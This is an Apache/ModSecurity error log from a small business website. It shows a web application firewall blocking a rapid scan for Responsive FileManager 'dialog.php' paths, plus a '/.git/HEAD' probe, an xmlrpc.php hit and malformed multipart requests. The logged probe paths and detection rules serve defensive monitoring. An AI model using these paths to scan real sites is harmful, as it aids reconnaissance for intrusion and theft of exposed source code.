[Fri May 22 22:13:43.693817 2026] [:error] [pid 15583:tid 15610] [client 134.199.156.173:57074] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrXQAAABY"]
[Fri May 22 22:13:43.694293 2026] [:error] [pid 15583:tid 15599] [client 134.199.156.173:57076] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrXgAAAAs"]
[Fri May 22 22:13:43.694305 2026] [:error] [pid 58782:tid 58798] [client 134.199.156.173:57048] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0EgAAAQ4"]
[Fri May 22 22:13:43.695861 2026] [:error] [pid 15583:tid 15608] [client 134.199.156.173:57060] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrXwAAABQ"]
[Fri May 22 22:13:43.699052 2026] [:error] [pid 15583:tid 15590] [client 134.199.156.173:57090] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrYAAAAAI"]
[Fri May 22 22:13:43.705805 2026] [:error] [pid 58782:tid 58800] [client 134.199.156.173:57100] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0EwAAARA"]
[Fri May 22 22:13:43.712886 2026] [:error] [pid 58782:tid 58786] [client 134.199.156.173:57114] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0FQAAAQI"]
[Fri May 22 22:13:43.713513 2026] [:error] [pid 58782:tid 58791] [client 134.199.156.173:57110] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0FAAAAQc"]
[Fri May 22 22:13:43.717487 2026] [:error] [pid 58782:tid 58788] [client 134.199.156.173:57122] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0FgAAAQQ"]
[Fri May 22 22:13:43.724243 2026] [:error] [pid 58782:tid 58806] [client 134.199.156.173:57130] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0FwAAARY"]
[Fri May 22 22:13:43.744228 2026] [:error] [pid 58782:tid 58801] [client 134.199.156.173:57140] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0GAAAARE"]
[Fri May 22 22:13:43.745311 2026] [:error] [pid 58782:tid 58795] [client 134.199.156.173:57134] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0GQAAAQs"]
[Fri May 22 22:13:43.755108 2026] [:error] [pid 58782:tid 58803] [client 134.199.156.173:57156] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0GgAAARM"]
[Fri May 22 22:13:43.760500 2026] [:error] [pid 58782:tid 58799] [client 134.199.156.173:57162] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0GwAAAQ8"]
[Fri May 22 22:13:43.787695 2026] [:error] [pid 58813:tid 58837] [client 134.199.156.173:57172] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VIQAAAVU"]
[Fri May 22 22:13:43.801266 2026] [:error] [pid 58782:tid 58792] [client 134.199.156.173:57200] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0HAAAAQg"]
[Fri May 22 22:13:43.801656 2026] [:error] [pid 58813:tid 58818] [client 134.199.156.173:57186] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VIgAAAUI"]
[Fri May 22 22:13:43.828445 2026] [:error] [pid 58782:tid 58804] [client 134.199.156.173:57210] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0HQAAARQ"]
[Fri May 22 22:13:43.831342 2026] [:error] [pid 58813:tid 58821] [client 134.199.156.173:57224] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VIwAAAUU"]
[Fri May 22 22:13:43.835365 2026] [:error] [pid 58813:tid 58820] [client 134.199.156.173:57240] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VJAAAAUQ"]
[Fri May 22 22:13:43.844276 2026] [:error] [pid 58782:tid 58787] [client 134.199.156.173:57254] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0HgAAAQM"]
[Fri May 22 22:13:43.845287 2026] [:error] [pid 58782:tid 58805] [client 134.199.156.173:57268] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0HwAAARU"]
[Fri May 22 22:13:43.847711 2026] [:error] [pid 58782:tid 58793] [client 134.199.156.173:57274] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0IAAAAQk"]
[Fri May 22 22:13:43.869583 2026] [:error] [pid 58782:tid 58802] [client 134.199.156.173:57292] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0IQAAARI"]
[Fri May 22 22:13:43.870871 2026] [:error] [pid 58782:tid 58785] [client 134.199.156.173:57286] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0IgAAAQE"]
[Fri May 22 22:13:43.877491 2026] [:error] [pid 15583:tid 15588] [client 134.199.156.173:57304] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrYQAAAAA"]
[Fri May 22 22:13:43.884861 2026] [:error] [pid 58782:tid 58784] [client 134.199.156.173:57318] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0IwAAAQA"]
[Fri May 22 22:13:43.886869 2026] [:error] [pid 58782:tid 58808] [client 134.199.156.173:57322] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0JAAAARg"]
[Fri May 22 22:13:43.888984 2026] [:error] [pid 58813:tid 58838] [client 134.199.156.173:57338] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VJQAAAVY"]
[Fri May 22 22:13:43.911459 2026] [:error] [pid 58782:tid 58794] [client 134.199.156.173:57340] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0JQAAAQo"]
[Fri May 22 22:13:43.913392 2026] [:error] [pid 58813:tid 58834] [client 134.199.156.173:57350] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VJgAAAVI"]
[Fri May 22 22:13:43.919205 2026] [:error] [pid 58813:tid 58829] [client 134.199.156.173:57354] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VJwAAAU0"]
[Fri May 22 22:13:43.930902 2026] [:error] [pid 58782:tid 58789] [client 134.199.156.173:57364] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0JgAAAQU"]
[Fri May 22 22:13:43.957302 2026] [:error] [pid 58782:tid 58790] [client 134.199.156.173:57372] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0JwAAAQY"]
[Fri May 22 22:13:44.083568 2026] [:error] [pid 15583:tid 15602] [client 134.199.156.173:57382] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrYgAAAA4"]
[Fri May 22 22:13:44.084542 2026] [:error] [pid 15583:tid 15589] [client 134.199.156.173:57392] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrYwAAAAE"]
[Fri May 22 22:13:44.113345 2026] [:error] [pid 15583:tid 15603] [client 134.199.156.173:57400] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrZAAAAA8"]
[Fri May 22 22:13:44.120340 2026] [:error] [pid 15583:tid 15606] [client 134.199.156.173:57408] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrZQAAABI"]
[Fri May 22 22:13:44.124309 2026] [:error] [pid 15583:tid 15591] [client 134.199.156.173:57420] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrZgAAAAM"]
[Fri May 22 22:13:44.128736 2026] [:error] [pid 15583:tid 15612] [client 134.199.156.173:57424] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrZwAAABg"]
[Fri May 22 22:13:44.155551 2026] [:error] [pid 15679:tid 15690] [client 134.199.156.173:57436] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmCh8tgGc38WJ-Gx3uAAAAMk"]
[Fri May 22 22:13:44.161876 2026] [:error] [pid 15583:tid 15611] [client 134.199.156.173:57448] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUraAAAABc"]
[Fri May 22 22:13:44.166315 2026] [:error] [pid 15583:tid 15601] [client 134.199.156.173:57452] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUraQAAAA0"]
[Fri May 22 22:13:44.170679 2026] [:error] [pid 15583:tid 15605] [client 134.199.156.173:57464] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUragAAABE"]
[Fri May 22 22:13:44.198400 2026] [:error] [pid 15583:tid 15598] [client 134.199.156.173:57468] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrawAAAAo"]
[Fri May 22 22:13:44.203368 2026] [:error] [pid 15583:tid 15604] [client 134.199.156.173:57470] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahBkmHnaOncRcIm17YUrbAAAABA"]
[Fri May 22 22:36:11.661387 2026] [:error] [pid 15679:tid 15687] [client 103.139.11.201:18660] [client 103.139.11.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.11.201, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBp2yh8tgGc38WJ-Gx8rwAAAMY"]
[Fri May 22 22:36:11.672151 2026] [proxy_fcgi:error] [pid 15679:tid 15687] [client 103.139.11.201:18660] AH01071: Got error 'Primary script unknown'
[Sat May 23 03:03:33.351849 2026] [:error] [pid 15583:tid 15607] [client 45.130.203.159:45621] [client 45.130.203.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "ahCohXnaOncRcIm17YWaWgAAABM"]
[Sat May 23 11:49:41.118763 2026] [:error] [pid 30941:tid 30994] [client 103.168.67.36:7250] [client 103.168.67.36] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.agraphics.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1XTIgjSDhiZmvlVe5QAAAFI"]
[Sat May 23 11:49:41.118811 2026] [:error] [pid 30941:tid 30986] [client 103.168.67.36:7244] [client 103.168.67.36] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.agraphics.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1XTIgjSDhiZmvlVe5gAAAEo"]
[Sat May 23 11:49:41.118887 2026] [:error] [pid 30941:tid 30994] [client 103.168.67.36:7250] [client 103.168.67.36] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1XTIgjSDhiZmvlVe5QAAAFI"]
[Sat May 23 11:49:41.118894 2026] [:error] [pid 30941:tid 30986] [client 103.168.67.36:7244] [client 103.168.67.36] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1XTIgjSDhiZmvlVe5gAAAEo"]
